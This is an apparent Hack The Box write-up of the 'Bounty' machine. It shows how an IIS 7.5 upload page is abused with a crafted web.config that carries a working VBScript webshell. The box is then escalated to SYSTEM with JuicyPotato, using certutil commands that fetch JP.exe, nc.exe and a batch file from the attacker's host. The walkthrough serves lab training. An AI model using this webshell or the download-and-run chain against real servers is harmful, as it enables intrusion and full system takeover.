Post

Bounty

Bounty exploits an IIS 7.5 upload page that permitted .config files — uploading a crafted web.config with an ISAPI handler mapping executed VBScript as Classic ASP, landing a shell as bounty\merlin.

Bounty

Overview

Bounty is an Easy Windows box running IIS 7.5 on Windows Server 2008 R2 with zero hotfixes. The attack path starts with a directory brute-force that reveals an upload page (/transfer.aspx) and a serving directory (/UploadedFiles/). The upload filter blocks .asp and .aspx but not .config — uploading a crafted web.config that registers an ISAPI handler for .config files tricks IIS into executing embedded VBScript as Classic ASP, giving RCE as bounty\merlin. The IIS application pool account holds SeImpersonatePrivilege and the OS has no patches, so JuicyPotato abuses COM token impersonation to escalate directly to NT AUTHORITY\SYSTEM.

Machine Matrix

Enumeration Real-Life CVE Custom Exploitation CTF-like

The matrix scores high on Real-Life — both the web.config unrestricted file upload misconfiguration and the SeImpersonatePrivilege JuicyPotato escalation are techniques that appear regularly in real production IIS environments.

Recon

PortServiceNotes
80HTTP (IIS 7.5)Default IIS page; upload page at /transfer.aspx
1
nmap -sC -sV -Pn 10.10.10.X
1
nmap -p 80 -sC -sV -Pn 10.10.10.X

Only port 80 is open — an IIS 7.5 server. The default page gives no hints; enumeration is needed to find the application endpoints.

Enumeration

Brute-forcing directories and extensions reveals the upload page and the directory where uploaded files are served:

1
gobuster dir -u http://10.10.10.X -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x asp,aspx,config -t 50

This surfaces /transfer.aspx (the upload form) and /UploadedFiles/ (the serving directory). The extension scan confirms .config is not blocked. Attempting to upload an .aspx file directly returns a rejection, but .config is accepted.

Extracting the ASP.NET form tokens needed for the POST:

1
curl -s http://10.10.10.X/transfer.aspx | grep -E '__VIEWSTATE|__EVENTVALIDATION'

Foothold

The upload filter uses a blocklist that excludes .asp and .aspx but does not block .config. IIS 7.5 gives web.config files in any directory special authority — they can define new handler mappings. The crafted payload below registers *.config as a Classic ASP handler and removes the requestFiltering rules that would otherwise deny access, then embeds VBScript at the bottom that executes any cmd query parameter.

Create web.config on the attacker machine:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>
<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
Dim sQuery, sScript
sQuery = Request.QueryString("cmd")
If Not IsEmpty(sQuery) Then
    Dim oExec
    Set oExec = oScript.Exec(sQuery)
    Response.Write(oExec.StdOut.ReadAll)
End If
%>

Upload the file — extract __VIEWSTATE and __EVENTVALIDATION from the form first, then POST:

1
2
3
4
5
curl -s -X POST http://10.10.10.X/transfer.aspx \
  -F "__VIEWSTATE=<vs>" \
  -F "__EVENTVALIDATION=<ev>" \
  -F "[email protected];type=application/octet-stream;filename=web.config" \
  -F "btnUpload=Upload"

Verify RCE:

1
curl -s "http://10.10.10.X/UploadedFiles/web.config?cmd=whoami"

Returns bounty\merlinunrestricted file upload leading to server-side code execution via IIS handler misconfiguration (CWE-434).

User flag

1
2
curl -s "http://10.10.10.X/UploadedFiles/web.config?cmd=type+C:\Users\merlin\Desktop\user.txt"
# HTB{...}

Shell landed as bounty\merlin — the user flag is readable directly from the webshell.

Privilege Escalation

Checking privileges and OS patch level:

1
curl -s "http://10.10.10.X/UploadedFiles/web.config?cmd=whoami+/priv"

SeImpersonatePrivilege is listed as Enabled. Checking the OS:

1
curl -s "http://10.10.10.X/UploadedFiles/web.config?cmd=systeminfo"

Windows Server 2008 R2 Build 7600 with no hotfixes installed. IIS application pool accounts are granted SeImpersonatePrivilege by design — on unpatched Server 2008 R2 this can be abused through COM token impersonation (CWE-269, CWE-250).

Stage JuicyPotato and a batch file to exfiltrate the root flag to the webroot:

1
python3 -m http.server 8080
1
curl -s "http://10.10.10.X/UploadedFiles/web.config?cmd=certutil+-urlcache+-split+-f+http://<lhost>:8080/JP.exe+C:\Windows\Temp\JP.exe"
1
curl -s "http://10.10.10.X/UploadedFiles/web.config?cmd=certutil+-urlcache+-split+-f+http://<lhost>:8080/nc.exe+C:\Windows\Temp\nc.exe"

Create a batch file on the attacker that writes the root flag to a web-accessible path:

1
echo 'type "C:\Users\Administrator\Desktop\root.txt" > C:\inetpub\wwwroot\UploadedFiles\flag.txt' > flag.bat
1
curl -s "http://10.10.10.X/UploadedFiles/web.config?cmd=certutil+-urlcache+-split+-f+http://<lhost>:8080/flag.bat+C:\Windows\Temp\flag.bat"

Execute JuicyPotato with the wuauserv CLSID confirmed for Windows Server 2008 R2:

1
2
3
4
5
6
python3 -c "
import requests
cmd = r'C:\Windows\Temp\JP.exe -l 9004 -p C:\Windows\Temp\flag.bat -t * -c {03ca98d6-ff5d-49b8-abc6-03dd84127020}'
r = requests.get('http://10.10.10.X/UploadedFiles/web.config', params={'cmd': cmd}, timeout=25)
print(r.text[-300:])
"

JuicyPotato connects a SYSTEM-level COM service to a rogue listener, captures the impersonation token, and calls CreateProcessWithTokenW to run flag.bat as NT AUTHORITY\SYSTEM.

Root flag

1
2
curl -s "http://10.10.10.X/UploadedFiles/flag.txt"
# HTB{...}

Full compromise achieved as NT AUTHORITY\SYSTEM — the IIS application pool’s unnecessary SeImpersonatePrivilege on a completely unpatched Server 2008 R2 host made escalation trivial.

This post is licensed under CC BY 4.0 by the author.